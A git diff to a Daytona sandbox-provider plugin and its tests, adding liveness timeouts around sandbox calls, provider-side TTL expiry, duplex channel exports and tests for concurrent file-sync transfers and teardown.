@@ -1818,6 +2041,7 @@ describe("Daytona sandbox provider plugin", () => {
       companyId: "company-1",
       environmentId: "env-1",
       config: { timeoutMs: 300000, reuseLease: false },
+      bypassSession: true,
       lease: { providerLeaseId: "sandbox-123", metadata: {} },
       command: "printf",
       args: ["hello"],
@@ -1851,6 +2075,7 @@ describe("Daytona sandbox provider plugin", () => {
         timeoutMs: 300000,
         reuseLease: false,
       },
+      bypassSession: true,
       lease: { providerLeaseId: "sandbox-123", metadata: {} },
       command: "cat",
       args: [],
@@ -1887,6 +2112,7 @@ describe("Daytona sandbox provider plugin", () => {
       companyId: "company-1",
       environmentId: "env-1",
       config: { timeoutMs: 300000, reuseLease: false },
+      bypassSession: true,
       lease: { providerLeaseId: "sandbox-123", metadata: { remoteCwd: "/home/daytona/paperclip-workspace" } },
       command: "printf",
       args: ["hello"],
@@ -1913,6 +2139,7 @@ describe("Daytona sandbox provider plugin", () => {
         timeoutMs: 300000,
         reuseLease: false,
       },
+      bypassSession: true,
       lease: { providerLeaseId: "sandbox-123", metadata: {} },
       command: "printf",
       args: ["hello"],
@@ -1945,6 +2172,7 @@ describe("Daytona sandbox provider plugin", () => {
           timeoutMs: 300000,
           reuseLease: false,
         },
+        bypassSession: true,
         lease: { providerLeaseId: "sandbox-123", metadata: {} },
         command: "sleep",
         args: ["60"],
@@ -1977,6 +2205,7 @@ describe("Daytona sandbox provider plugin", () => {
       companyId: "company-1",
       environmentId: "env-1",
       config: { timeoutMs: 300000, reuseLease: false },
+      bypassSession: true,
       lease: { providerLeaseId: "sandbox-123", metadata: {} },
       command: "git",
       args: ["status"],
@@ -2002,6 +2231,7 @@ describe("Daytona sandbox provider plugin", () => {
       companyId: "company-1",
       environmentId: "env-1",
       config: { timeoutMs: 300000, reuseLease: false },
+      bypassSession: true,
       lease: { providerLeaseId: "sandbox-123", metadata: {} },
       command: "git",
       args: ["push", "origin", "HEAD"],
@@ -2035,6 +2265,7 @@ describe("Daytona sandbox provider plugin", () => {
       companyId: "company-1",
       environmentId: "env-1",
       config: { timeoutMs: 300000, reuseLease: false },
+      bypassSession: true,
       lease: { providerLeaseId: "sandbox-123", metadata: {} },
       command: "base64",
       args: ["-d"],
@@ -2069,6 +2300,7 @@ describe("Daytona sandbox provider plugin", () => {
       companyId: "company-1",
       environmentId: "env-1",
       config: { timeoutMs: 300000, reuseLease: false },
+      bypassSession: true,
       lease: { providerLeaseId: "sandbox-123", metadata: {} },
       command: "node",
       args: ["--version"],
@@ -2100,6 +2332,7 @@ describe("Daytona sandbox provider plugin", () => {
         companyId: overrides.companyId ?? "company-1",
         environmentId: overrides.environmentId ?? "env-1",
         config: { timeoutMs: 300000, reuseLease: false },
+        bypassSession: true,
         lease: { providerLeaseId, metadata: {} },
         command: "printf",
         args: ["hi"],
@@ -2843,6 +3076,38 @@ describe("Daytona sandbox provider plugin", () => {
       expect(second.process.executeCommand).toHaveBeenCalledTimes(1);
     });
 
+    it("surfaces a bounded timeout when the freshness refresh never responds", async () => {
+      process.env.DAYTONA_API_KEY = "host-key";
+      const sandbox = createMockSandbox({ id: "lease-a", state: "started" });
+      // The sandbox connection went silent: `refreshData` never resolves and
+      // never rejects. Without a per-call bound the exec would stall until the
+      // outer RPC ceiling fires.
+      sandbox.refreshData.mockImplementation(() => new Promise<void>(() => {}));
+      mockGet.mockResolvedValue(sandbox);
+      // A short liveness bound keeps the test fast and proves the config path.
+      const config = { timeoutMs: 300000, reuseLease: false, livenessTimeoutMs: 50 };
+
+      let nowMs = 4_000_000;
+      const restoreFreshness = setDaytonaHandleFreshnessClockForTest(() => nowMs);
+      try {
+        // Prime the cache (single fetch, snapshot "started").
+        await plugin.definition.onEnvironmentExecute?.({ ...execParams("lease-a"), config });
+        // Idle past half of the default 15-min auto-stop interval so the next
+        // lookup refreshes the stale handle.
+        nowMs += 8 * 60_000;
+        await expect(
+          plugin.definition.onEnvironmentExecute?.({ ...execParams("lease-a"), config }),
+        ).rejects.toThrow(/did not respond within 50 ms/);
+      } finally {
+        restoreFreshness();
+      }
+
+      expect(sandbox.refreshData).toHaveBeenCalledTimes(1);
+      // The failed refresh evicted the handle, so the next lookup re-fetches.
+      await plugin.definition.onEnvironmentExecute?.({ ...execParams("lease-a"), config });
+      expect(mockGet).toHaveBeenCalledTimes(2);
+    });
+
     it("realizes the workspace from the acquire-seeded handle without a client.get", async () => {
       process.env.DAYTONA_API_KEY = "host-key";
       const sandbox = createMockSandbox({ id: "sandbox-seed" });
@@ -2891,6 +3156,95 @@ describe("daytona native file-sync hooks", () => {
     };
   }
 
+  // A concurrency gate for a fake transfer call (uploadFiles / downloadFiles).
+  // The gate lets two concurrent hook calls both enter the fake, then holds them
+  // there until the test releases them. It records the peak number of calls that
+  // are in the fake at the same time, so a test proves the two calls overlap.
+  //
+  // `expected` is how many calls the test starts. `bothArrived` resolves once
+  // that many calls sit inside the fake at the same moment. `release()` frees
+  // them. `body` is the fake implementation: it marks arrival, waits for the
+  // release, and then runs `onRelease` to produce the fake result.
+  function createTransferGate<T>(expected: number, onRelease: (args: unknown[]) => Promise<T>) {
+    let inFlight = 0;
+    let peakInFlight = 0;
+    let signalArrived!: () => void;
+    const bothArrived = new Promise<void>((resolve) => {
+      signalArrived = resolve;
+    });
+    let signalReleased!: () => void;
+    const released = new Promise<void>((resolve) => {
+      signalReleased = resolve;
+    });
+    const body = async (...args: unknown[]): Promise<T> => {
+      inFlight += 1;
+      peakInFlight = Math.max(peakInFlight, inFlight);
+      if (inFlight === expected) signalArrived();
+      await released;
+      inFlight -= 1;
+      return onRelease(args);
+    };
+    return {
+      body,
+      bothArrived,
+      release: () => signalReleased(),
+      peak: () => peakInFlight,
+    };
+  }
+
+  // Write each download request's snapshot bytes to its host destination and
+  // report success, matching the real batch-download contract the outbound sync
+  // path expects.
+  async function fulfilDownload(args: unknown[]): Promise<Array<{ source: string; result: string }>> {
+    const requests = args[0] as Array<{ source: string; destination: string }>;
+    return Promise.all(
+      requests.map(async (request) => {
+        await fs.writeFile(request.destination, "bytes");
+        return { source: request.source, result: request.destination };
+      }),
+    );
+  }
+
+  function syncInParams(overrides: {
+    operationId: string;
+    sourcePath: string;
+    targetPath: string;
+  }) {
+    return {
+      driverKey: "daytona",
+      companyId: "company-1",
+      environmentId: "env-1",
+      config: { timeoutMs: 300000, reuseLease: false },
+      lease: syncLease(),
+      operations: [
+        {
+          operationId: overrides.operationId,
+          files: [{ sourcePath: overrides.sourcePath, targetPath: overrides.targetPath, kind: "file" as const }],
+        },
+      ],
+    };
+  }
+
+  function syncOutParams(overrides: {
+    operationId: string;
+    sourcePath: string;
+    targetPath: string;
+  }) {
+    return {
+      driverKey: "daytona",
+      companyId: "company-1",
+      environmentId: "env-1",
+      config: { timeoutMs: 300000, reuseLease: false },
+      lease: syncLease(),
+      operations: [
+        {
+          operationId: overrides.operationId,
+          files: [{ sourcePath: overrides.sourcePath, targetPath: overrides.targetPath, kind: "file" as const }],
+        },
+      ],
+    };
+  }
+
   beforeEach(() => {
     mockGet.mockReset();
     process.env.DAYTONA_API_KEY = "host-key";
@@ -3172,6 +3526,66 @@ describe("daytona native file-sync hooks", () => {
     expect(spans.find((span) => span.name === "pack")).toBeUndefined();
   });
 
+  it("marks the inbound transfer span with the inbound direction attribute", async () => {
+    const hostDir = await makeHostDir();
+    const source = path.join(hostDir, "config.txt");
+    await fs.writeFile(source, "plain");
+    const sandbox = createMockSandbox();
+    mockGet.mockResolvedValue(sandbox);
+
+    const { tracer, spans } = createRecordingPluginTracer();
+    const restore = __setDaytonaPluginContextForTest({ tracer } as unknown as PluginContext);
+    try {
+      await plugin.definition.onEnvironmentSyncIn?.(
+        syncInParams({
+          operationId: "sync-op-in-dir",
+          sourcePath: source,
+          targetPath: `${REMOTE_DIR}/config.txt`,
+        }),
+      );
+    } finally {
+      restore();
+    }
+
+    // An upload to the sandbox is an inbound transfer.
+    const transfer = spans.find((span) => span.name === "transfer");
+    expect(transfer).toBeDefined();
+    expect(transfer!.attributes["paperclip.sandbox.startup.transfer.direction"]).toBe("inbound");
+  });
+
+  it("marks the outbound transfer span with the outbound direction attribute", async () => {
+    const hostDir = await makeHostDir();
+    const sandbox = createMockSandbox();
+    sandbox.fs.downloadFiles.mockImplementation(async (requests: Array<{ source: string; destination?: string }>) => {
+      return Promise.all(
+        requests.map(async (req) => {
+          await fs.writeFile(req.destination!, "bytes");
+          return { source: req.source, result: req.destination };
+        }),
+      );
+    });
+    mockGet.mockResolvedValue(sandbox);
+
+    const { tracer, spans } = createRecordingPluginTracer();
+    const restore = __setDaytonaPluginContextForTest({ tracer } as unknown as PluginContext);
+    try {
+      await plugin.definition.onEnvironmentSyncOut?.(
+        syncOutParams({
+          operationId: "sync-op-out-dir",
+          sourcePath: `${REMOTE_DIR}/out/result.txt`,
+          targetPath: path.join(hostDir, "result.txt"),
+        }),
+      );
+    } finally {
+      restore();
+    }
+
+    // A download from the sandbox is an outbound transfer.
+    const transfer = spans.find((span) => span.name === "transfer");
+    expect(transfer).toBeDefined();
+    expect(transfer!.attributes["paperclip.sandbox.startup.transfer.direction"]).toBe("outbound");
+  });
+
   it("opens a pack span and a transfer span around a directory mapping sync", async () => {
     const hostDir = await makeHostDir();
     const sourceDir = path.join(hostDir, "assets");
@@ -4407,6 +4821,239 @@ describe("daytona native file-sync hooks", () => {
     });
     expect(withEmpty.process.executeCommand.mock.calls.length).toBe(baselineExecCount);
   });
+
+  it("runs two concurrent inbound syncIn calls with separate reserved scratch names", async () => {
+    const hostDir = await makeHostDir();
+    const sourceA = path.join(hostDir, "a.txt");
+    const sourceB = path.join(hostDir, "b.txt");
+    await fs.writeFile(sourceA, "alpha");
+    await fs.writeFile(sourceB, "beta");
+
+    const sandbox = createMockSandbox();
+    // Gate the upload so both concurrent calls sit inside uploadFiles together.
+    const gate = createTransferGate(2, async () => undefined);
+    sandbox.fs.uploadFiles.mockImplementation(gate.body);
+    mockGet.mockResolvedValue(sandbox);
+
+    const callA = plugin.definition.onEnvironmentSyncIn?.(
+      syncInParams({ operationId: "in-a", sourcePath: sourceA, targetPath: `${REMOTE_DIR}/a.txt` }),
+    );
+    const callB = plugin.definition.onEnvironmentSyncIn?.(
+      syncInParams({ operationId: "in-b", sourcePath: sourceB, targetPath: `${REMOTE_DIR}/b.txt` }),
+    );
+
+    // Both calls reached the upload before either finished, so they overlap.
+    await gate.bothArrived;
+    expect(gate.peak()).toBe(2);
+    expect(sandbox.fs.uploadFiles).toHaveBeenCalledTimes(2);
+
+    gate.release();
+    await Promise.all([callA, callB]);
+
+    // Each concurrent call staged its upload under its own reserved scratch name;
+    // the two calls never share a temporary destination.
+    const destinations = sandbox.fs.uploadFiles.mock.calls.flatMap(
+      ([uploads]) => (uploads as Array<{ destination: string }>).map((upload) => upload.destination),
+    );
+    expect(destinations).toHaveLength(2);
+    for (const destination of destinations) {
+      expect(path.posix.basename(destination)).toMatch(/^\.paperclip-upload-/);
+      expect(path.posix.dirname(destination)).toBe(REMOTE_DIR);
+    }
+    expect(new Set(destinations).size).toBe(destinations.length);
+  });
+
+  it("runs two concurrent outbound syncOut calls that both reach downloadFiles before either opens", async () => {
+    const hostDir = await makeHostDir();
+    const targetA = path.join(hostDir, "a.txt");
+    const targetB = path.join(hostDir, "b.txt");
+
+    const sandbox = createMockSandbox();
+    // Gate the download so both concurrent calls sit inside downloadFiles
+    // together before either resolves.
+    const gate = createTransferGate(2, fulfilDownload);
+    sandbox.fs.downloadFiles.mockImplementation(gate.body);
+    mockGet.mockResolvedValue(sandbox);
+
+    const callA = plugin.definition.onEnvironmentSyncOut?.(
+      syncOutParams({ operationId: "out-a", sourcePath: `${REMOTE_DIR}/a.txt`, targetPath: targetA }),
+    );
+    const callB = plugin.definition.onEnvironmentSyncOut?.(
+      syncOutParams({ operationId: "out-b", sourcePath: `${REMOTE_DIR}/b.txt`, targetPath: targetB }),
+    );
+
+    // Both calls reached the download before either gate opened, so they overlap.
+    await gate.bothArrived;
+    expect(gate.peak()).toBe(2);
+    expect(sandbox.fs.downloadFiles).toHaveBeenCalledTimes(2);
+
+    gate.release();
+    await Promise.all([callA, callB]);
+
+    // Each concurrent call read its own reserved snapshot; the two calls never
+    // share a download source.
+    const sources = sandbox.fs.downloadFiles.mock.calls.flatMap(
+      ([requests]) => (requests as Array<{ source: string }>).map((request) => request.source),
+    );
+    expect(sources).toHaveLength(2);
+    for (const source of sources) {
+      expect(source.startsWith(`${REMOTE_DIR}/`)).toBe(true);
+      expect(path.posix.basename(source)).toMatch(/^\.paperclip-upload-/);
+    }
+    expect(new Set(sources).size).toBe(sources.length);
+    expect(await fs.readFile(targetA, "utf8")).toBe("bytes");
+    expect(await fs.readFile(targetB, "utf8")).toBe("bytes");
+  });
+
+  it("waits for one active inbound and one active outbound call before teardown releases the sandbox", async () => {
+    const hostDir = await makeHostDir();
+    const inboundSource = path.join(hostDir, "in.txt");
+    const outboundTarget = path.join(hostDir, "out.txt");
+    await fs.writeFile(inboundSource, "inbound");
+
+    const sandbox = createMockSandbox({ id: "sandbox-123" });
+    // Hold the inbound upload and the outbound download open at the same time, so
+    // the shared lease has two active sync calls when teardown starts.
+    let releaseUpload!: () => void;
+    sandbox.fs.uploadFiles.mockImplementation(async () => {
+      await new Promise<void>((resolve) => {
+        releaseUpload = resolve;
+      });
+    });
+    let releaseDownload!: () => void;
+    sandbox.fs.downloadFiles.mockImplementation(async (requests: Array<{ source: string; destination: string }>) => {
+      await new Promise<void>((resolve) => {
+        releaseDownload = resolve;
+      });
+      return Promise.all(
+        requests.map(async (request) => {
+          await fs.writeFile(request.destination, "bytes");
+          return { source: request.source, result: request.destination };
+        }),
+      );
+    });
+    mockGet.mockResolvedValue(sandbox);
+
+    const inboundCall = plugin.definition.onEnvironmentSyncIn?.(
+      syncInParams({ operationId: "in-active", sourcePath: inboundSource, targetPath: `${REMOTE_DIR}/in.txt` }),
+    );
+    const outboundCall = plugin.definition.onEnvironmentSyncOut?.(
+      syncOutParams({ operationId: "out-active", sourcePath: `${REMOTE_DIR}/out.txt`, targetPath: outboundTarget }),
+    );
+    // Let both sync calls register on the activity gate and reach their hung
+    // transfer, so teardown sees a refCount of two.
+    await new Promise((resolve) => setTimeout(resolve, 0));
+
+    const destroyCall = plugin.definition.onEnvironmentDestroyLease?.({
+      driverKey: "daytona",
+      companyId: "company-1",
+      environmentId: "env-1",
+      providerLeaseId: "sandbox-123",
+      config: { timeoutMs: 300000, reuseLease: false },
+    });
+    await new Promise((resolve) => setTimeout(resolve, 0));
+    // Two active sync calls block teardown, so it must not delete the sandbox yet.
+    expect(sandbox.delete).not.toHaveBeenCalled();
+
+    // Release only the inbound call. One outbound call is still active, so
+    // teardown must keep waiting.
+    releaseUpload();
+    await inboundCall;
+    await new Promise((resolve) => setTimeout(resolve, 0));
+    expect(sandbox.delete).not.toHaveBeenCalled();
+
+    // Release the outbound call. No sync call is active now, so teardown deletes.
+    releaseDownload();
+    await Promise.all([outboundCall, destroyCall]);
+
+    expect(sandbox.fs.uploadFiles).toHaveBeenCalledTimes(1);
+    expect(sandbox.fs.downloadFiles).toHaveBeenCalledTimes(1);
+    expect(sandbox.delete).toHaveBeenCalledTimes(1);
+  });
+
+  it("opens a transfer span with the guard round-trip count around the bulk file download", async () => {
+    const hostDir = await makeHostDir();
+    const target = path.join(hostDir, "result.txt");
+    const sandbox = createMockSandbox();
+    sandbox.fs.downloadFiles.mockImplementation(async (requests: Array<{ source: string; destination: string }>) => {
+      return Promise.all(
+        requests.map(async (request) => {
+          await fs.writeFile(request.destination, "bytes");
+          return { source: request.source, result: request.destination };
+        }),
+      );
+    });
+    mockGet.mockResolvedValue(sandbox);
+
+    const { tracer, spans } = createRecordingPluginTracer();
+    const restore = __setDaytonaPluginContextForTest({ tracer } as unknown as PluginContext);
+    try {
+      await plugin.definition.onEnvironmentSyncOut?.({
+        driverKey: "daytona",
+        companyId: "company-1",
+        environmentId: "env-1",
+        config: { timeoutMs: 300000, reuseLease: false },
+        lease: syncLease(),
+        operations: [
+          {
+            operationId: "sync-op-out",
+            files: [{ sourcePath: `${REMOTE_DIR}/out/result.txt`, targetPath: target, kind: "file" }],
+          },
+        ],
+      });
+    } finally {
+      restore();
+    }
+
+    const transfer = spans.find((span) => span.name === "transfer");
+    expect(transfer).toBeDefined();
+    expect(transfer!.ended).toBe(true);
+    // One serial guard round trip before the transfer: the validate-and-snapshot.
+    expect(transfer!.attributes["paperclip.sandbox.startup.transfer.guard.count"]).toBe(1);
+    expect(transfer!.attributes["paperclip.sandbox.startup.provider"]).toBe("daytona");
+    expect(typeof transfer!.attributes["paperclip.sandbox.startup.transfer.wall_ms"]).toBe("number");
+  });
+
+  it("opens a transfer span around a directory-mapping download with the guard round-trip count", async () => {
+    const hostDir = await makeHostDir();
+    const targetDir = path.join(hostDir, "assets");
+    const sandbox = createMockSandbox();
+    sandbox.fs.downloadFiles.mockImplementation(async (requests: Array<{ source: string; destination: string }>) => {
+      // Write a valid empty tar (1024-byte zero EOF marker) so host-side extract
+      // is a clean no-op.
+      await Promise.all(requests.map((request) => fs.writeFile(request.destination, Buffer.alloc(1024))));
+      return requests.map((request) => ({ source: request.source, result: request.destination }));
+    });
+    mockGet.mockResolvedValue(sandbox);
+
+    const { tracer, spans } = createRecordingPluginTracer();
+    const restore = __setDaytonaPluginContextForTest({ tracer } as unknown as PluginContext);
+    try {
+      await plugin.definition.onEnvironmentSyncOut?.({
+        driverKey: "daytona",
+        companyId: "company-1",
+        environmentId: "env-1",
+        config: { timeoutMs: 300000, reuseLease: false },
+        lease: syncLease(),
+        operations: [
+          {
+            operationId: "sync-op-out-dir",
+            files: [{ sourcePath: `${REMOTE_DIR}/out/assets`, targetPath: targetDir, kind: "directory" }],
+          },
+        ],
+      });
+    } finally {
+      restore();
+    }
+
+    const transfer = spans.find((span) => span.name === "transfer");
+    expect(transfer).toBeDefined();
+    expect(transfer!.ended).toBe(true);
+    // Two serial guard round trips before the transfer: confinement + in-sandbox
+    // tar.
+    expect(transfer!.attributes["paperclip.sandbox.startup.transfer.guard.count"]).toBe(2);
+    expect(typeof transfer!.attributes["paperclip.sandbox.startup.transfer.wall_ms"]).toBe("number");
+  });
 });
 
 describe("daytona manifest memory config", () => {
diff --git a/packages/plugins/sandbox-providers/daytona/src/plugin.ts b/packages/plugins/sandbox-providers/daytona/src/plugin.ts
index 3114f326275..684ec2b816b 100644
--- a/packages/plugins/sandbox-providers/daytona/src/plugin.ts
+++ b/packages/plugins/sandbox-providers/daytona/src/plugin.ts
@@ -60,6 +60,29 @@ export type {
   DaytonaPtyCreateOptions,
   DaytonaSetupTokenPtyOptions,
 } from "./setup-token-pty.js";
+import { openDaytonaSetupTokenPtySession as openSetupTokenPtySession } from "./setup-token-pty.js";
+import type {
+  SetupTokenPtySession as SetupTokenPtyWorkerSession,
+  DaytonaPtyProcess,
+} from "./setup-token-pty.js";
+
+// The Daytona duplex command stream for the sandbox callback bridge. The channel
+// runs the gateway command on a raw pseudo-terminal, streams the frames, and
+// accepts host input. The worker resolves the sandbox by the provider lease id,
+// registers the channel under the host route id, and streams the data and the
+// exit through `ctx.duplexChannel`.
+export {
+  createDaytonaDuplexChannelSessionOpener,
+  openDaytonaDuplexChannelSession,
+  buildDuplexChannelLaunchWrapper,
+} from "./duplex-command-stream.js";
+export type {
+  DuplexChannelSession,
+  DuplexChannelSessionOpener,
+  DaytonaDuplexChannelOptions,
+} from "./duplex-command-stream.js";
+import { openDaytonaDuplexChannelSession as openDuplexChannelSession } from "./duplex-command-stream.js";
+import type { DuplexChannelSession } from "./duplex-command-stream.js";
 
 // Injectable monotonic clock for provider-boundary timing (Open Q1). Defaults
 // to the real wall clock; `plugin.test.ts` overrides it via
@@ -132,6 +155,7 @@ interface DaytonaDriverConfig {
   image: string | null;
   language: string | null;
   timeoutMs: number;
+  livenessTimeoutMs: number;
   cpu: number | null;
   memory: number | null;
   disk: number | null;
@@ -141,8 +165,6 @@ interface DaytonaDriverConfig {
   autoDeleteInterval: number | null;
   reuseLease: boolean;
   archiveOnRelease: boolean;
-  useSessions: boolean;
-  useLogStream: boolean;
 }
 
 type WorkspaceSentinelResult = {
@@ -196,6 +218,22 @@ const ARCHIVE_ON_RELEASE_AUTO_DELETE_MINUTES = 60;
 // RPC ceiling; callers always see an actionable error within this window.
 const GIT_NETWORK_TIMEOUT_MS = 120_000;
 
+// Per-call bound on the provider liveness read (`sandbox.refreshData()`). The
+// Daytona SDK gives this metadata read no timeout, so a silently unresponsive
+// sandbox connection leaves it pending with no error. The plugin then stalls
+// until the outer host-to-worker RPC backstop fires, which is a general ceiling,
+// not a fast, specific detector. This bound turns that silent hang into a fast,
+// clear error. It is configurable through `livenessTimeoutMs`; a value of 0 or
+// less disables the extra bound.
+const DEFAULT_LIVENESS_TIMEOUT_MS = 30_000;
+
+// Extra margin added to the SDK start/recover timeout when the plugin wraps
+// those lifecycle calls in its own per-call bound. The SDK call already carries
+// a `timeoutSeconds` deadline; the wrapper is a backstop for a connection-level
+// hang that the SDK deadline can miss. The margin lets the SDK deadline fire
+// first on a normal slow start, so the wrapper only fires on a true hang.
+const LIVENESS_START_TIMEOUT_MARGIN_MS = 5_000;
+
 // Noninteractive git credential defaults injected into every Daytona one-shot
 // command so that git operations never stall waiting for a terminal prompt.
 // Callers can override any of these via the env parameter.
@@ -227,6 +265,7 @@ function parseOptionalNumber(value: unknown): number | null {
 
 function parseDriverConfig(raw: Record<string, unknown>): DaytonaDriverConfig {
   const timeoutMs = Number(raw.timeoutMs ?? 300_000);
+  const livenessTimeoutMs = Number(raw.livenessTimeoutMs ?? DEFAULT_LIVENESS_TIMEOUT_MS);
   return {
     apiKey: parseOptionalString(raw.apiKey),
     apiUrl: parseOptionalString(raw.apiUrl),
@@ -235,6 +274,7 @@ function parseDriverConfig(raw: Record<string, unknown>): DaytonaDriverConfig {
     image: parseOptionalString(raw.image),
     language: parseOptionalString(raw.language),
     timeoutMs: Number.isFinite(timeoutMs) ? Math.trunc(timeoutMs) : 300_000,
+    livenessTimeoutMs: Number.isFinite(livenessTimeoutMs) ? Math.trunc(livenessTimeoutMs) : DEFAULT_LIVENESS_TIMEOUT_MS,
     cpu: parseOptionalNumber(raw.cpu),
     memory: parseOptionalNumber(raw.memory),
     disk: parseOptionalNumber(raw.disk),
@@ -244,17 +284,6 @@ function parseDriverConfig(raw: Record<string, unknown>): DaytonaDriverConfig {
     autoDeleteInterval: parseOptionalInteger(raw.autoDeleteInterval) ?? DEFAULT_AUTO_DELETE_INTERVAL_MINUTES,
     reuseLease: raw.reuseLease === true,
     archiveOnRelease: raw.archiveOnRelease === true,
-    // Session model opt-in. Default OFF. When off, the provider keeps the
-    // one-shot command path. When on, the exec hook opens one persistent
-    // Daytona session per lease and dispatches every command into it. The flag
-    // stays default off until a live leak soak passes.
-    useSessions: raw.useSessions === true,
-    // Log-stream opt-in. Default OFF. When off, the session dispatch polls the
-    // exit code every 50 ms and then reads the logs one time. When on, the
-    // dispatch streams stdout and stderr from the callback log form and reads
-    // the exit code one time after the stream ends. The flag stays default off
-    // until a live soak passes.
-    useLogStream: raw.useLogStream === true,
   };
 }
 
@@ -387,16 +416,57 @@ function isValidUrl(value: string): boolean {
   }
 }
 
+// A per-call liveness bound elapsed before the wrapped provider call returned.
+// The message names the operation and the bound so an operator sees at once
+// that the sandbox connection is unresponsive, not that the operation is slow.
+class SandboxLivenessTimeoutError extends Error {
+  constructor(operation: string, timeoutMs: number) {
+    super(
+      `Daytona sandbox liveness call "${operation}" did not respond within ${timeoutMs} ms; `
+        + "the sandbox connection is unresponsive.",
+    );
+    this.name = "SandboxLivenessTimeoutError";
+  }
+}
+
+// Race a provider call against a per-call deadline. A value of 0 or less turns
+// the bound off and runs the call unwrapped. The timer is always cleared, so a
+// call that resolves before the deadline leaks no pending timer. A call that
+// never resolves stays pending after the deadline rejects, but it holds no
+// timer and produces no unhandled rejection.
+async function withLivenessTimeout<T>(
+  operation: string,
+  timeoutMs: number,
+  run: () => Promise<T>,
+): Promise<T> {
+  if (!Number.isFinite(timeoutMs) || timeoutMs <= 0) {
+    return run();
+  }
+  let timer: ReturnType<typeof setTimeout> | undefined;
+  const deadline = new Promise<never>((_, reject) => {
+    timer = setTimeout(() => reject(new SandboxLivenessTimeoutError(operation, timeoutMs)), timeoutMs);
+  });
+  try {
+    return await Promise.race([run(), deadline]);
+  } finally {
+    if (timer !== undefined) clearTimeout(timer);
+  }
+}
+
 async function ensureSandboxStarted(sandbox: Sandbox, timeoutSeconds: number): Promise<void> {
   if (sandbox.state === "started") return;
+  // Bound the lifecycle call just past its own SDK deadline. A normal slow start
+  // finishes within `timeoutSeconds`; only a connection-level hang the SDK
+  // deadline misses reaches this wrapper bound.
+  const startBoundMs = timeoutSeconds * 1_000 + LIVENESS_START_TIMEOUT_MARGIN_MS;
   if (sandbox.state === "error") {
     if (sandbox.recoverable) {
-      await sandbox.recover(timeoutSeconds);
+      await withLivenessTimeout("sandbox.recover", startBoundMs, () => sandbox.recover(timeoutSeconds));
       return;
     }
     throw new Error(`Daytona sandbox ${sandbox.id} is in an unrecoverable error state: ${sandbox.errorReason ?? "unknown error"}`);
   }
-  await sandbox.start(timeoutSeconds);
+  await withLivenessTimeout("sandbox.start", startBoundMs, () => sandbox.start(timeoutSeconds));
 }
 
 async function resolveSandboxWorkingDirectory(sandbox: Sandbox): Promise<string> {
@@ -581,6 +651,33 @@ function expiresAtForMinutes(minutes: number): string {
   return new Date(Date.now() + minutes * 60_000).toISOString();
 }
 
+// Configure a provider-side time-to-live so Daytona destroys the sandbox at or
+// before the caller-requested deadline, even after a Paperclip crash or outage.
+// `setTtl` counts wall-clock time regardless of the sandbox state, so the destroy
+// happens even when the sandbox is stopped, paused, or archived. The function
+// returns the real provider destroy time (`autoDestroyAt`) as evidence of the
+// provider-side bound. It returns null when the caller sets no deadline, when the
+// deadline is invalid, or when the deadline is less than one minute away (Daytona
+// TTL granularity is one minute, so a nearer deadline maps to no valid TTL). The
+// server then fails closed on a null expiry and releases the lease.
+async function configureSandboxExpiry(input: {
+  sandbox: Sandbox;
+  requestedExpiresAt: string | null | undefined;
+  nowMs: number;
+}): Promise<string | null> {
+  const requestedMs = input.requestedExpiresAt ? Date.parse(input.requestedExpiresAt) : Number.NaN;
+  if (!Number.isFinite(requestedMs)) return null;
+  // Round DOWN so the provider destroy time never lands after the deadline.
+  const ttlMinutes = Math.floor((requestedMs - input.nowMs) / 60_000);
+  if (ttlMinutes < 1) return null;
+  await input.sandbox.setTtl(ttlMinutes);
+  await input.sandbox.refreshData();
+  const autoDestroyAt = input.sandbox.autoDestroyAt;
+  return typeof autoDestroyAt === "string" && autoDestroyAt.trim().length > 0
+    ? autoDestroyAt.trim()
+    : null;
+}
+
 function sanitizeSnapshotName(value: string | null | undefined, fallback: string): string {
   const cleaned = (value ?? fallback)
     .trim()
@@ -1117,7 +1214,9 @@ const sandboxHandleCache = (() => {
       const thresholdMs = staleHandleRefreshThresholdMs(scope.config.autoStopInterval);
       if (thresholdMs != null && handleFreshnessNow() - entry.verifiedAtMs >= thresholdMs) {
         try {
-          await sandbox.refreshData();
+          await withLivenessTimeout("sandbox.refreshData", scope.config.livenessTimeoutMs, () =>
+            sandbox.refreshData(),
+          );
         } catch (error) {
           entries.delete(key);
           throw error;
@@ -1175,7 +1274,27 @@ const sandboxHandleCache = (() => {
     entries.clear();
   }
 
-  return { get, seed, clear, reset, markFresh };
+  // Resolve a cached sandbox by its provider lease id alone. The
+  // login pseudo-terminal open carries only the provider lease id, not the full
+  // scope, so this scans the cached handles for the one whose `sandbox.id`
+  // matches. The lease was cached on acquire in the same worker, so the scan is
+  // a hit for a live login lease. It returns null when no cached handle matches,
+  // so the caller fails closed.
+  async function findByProviderLeaseId(providerLeaseId: string): Promise<Sandbox | null> {
+    if (!providerLeaseId) return null;
+    for (const entry of entries.values()) {
+      let sandbox: Sandbox;
+      try {
+        sandbox = await entry.sandbox;
+      } catch {
+        continue;
+      }
+      if (sandbox.id === providerLeaseId) return sandbox;
+    }
+    return null;
+  }
+
+  return { get, seed, clear, reset, markFresh, findByProviderLeaseId };
 })();
 
 // Advisory writable-set store. It holds, per lease scope, the sandbox
@@ -1691,38 +1810,37 @@ async function executeInSession(
     );
     const commandId = dispatched.cmdId;
 
-    // Log-stream path (opt-in). Stream stdout and stderr from the callback log
-    // form, then read the exit code one time. On a stream failure, fall through
-    // to the poll path below, because the command still runs to its exit on the
-    // server.
-    if (config.useLogStream) {
-      // Emit each genuinely new output chunk to the host during the active
-      // execute call. The host routes it to the runner log sink by the
-      // host-issued invocation id. This is a no-op when no plugin context is
-      // set (a direct test call) or when the host has no active execute route.
-      const streamResult = await runSessionLogStream(
-        sandbox,
-        sessionId,
-        commandId,
-        (stream, text) => pluginContext?.execution.log(stream, text),
-      );
-      if (streamResult.ok) {
-        const exitCode = await readSessionExitCode(sandbox, sessionId, commandId);
-        const durationMs = timingNow() - execStart;
-        return {
-          exitCode,
-          timedOut: false,
-          stdout: streamResult.stdout,
-          stderr: streamResult.stderr,
-          metadata: { durationMs },
-        };
-      }
+    // Log-stream path. A session command always tries the stream first: it
+    // streams stdout and stderr from the callback log form, then reads the exit
+    // code one time. On a stream failure, fall through to the poll path below,
+    // because the command still runs to its exit on the server.
+    //
+    // Emit each genuinely new output chunk to the host during the active execute
+    // call. The host routes it to the runner log sink by the host-issued
+    // invocation id. This is a no-op when no plugin context is set (a direct
+    // test call) or when the host has no active execute route.
+    const streamResult = await runSessionLogStream(
+      sandbox,
+      sessionId,
+      commandId,
+      (stream, text) => pluginContext?.execution.log(stream, text),
+    );
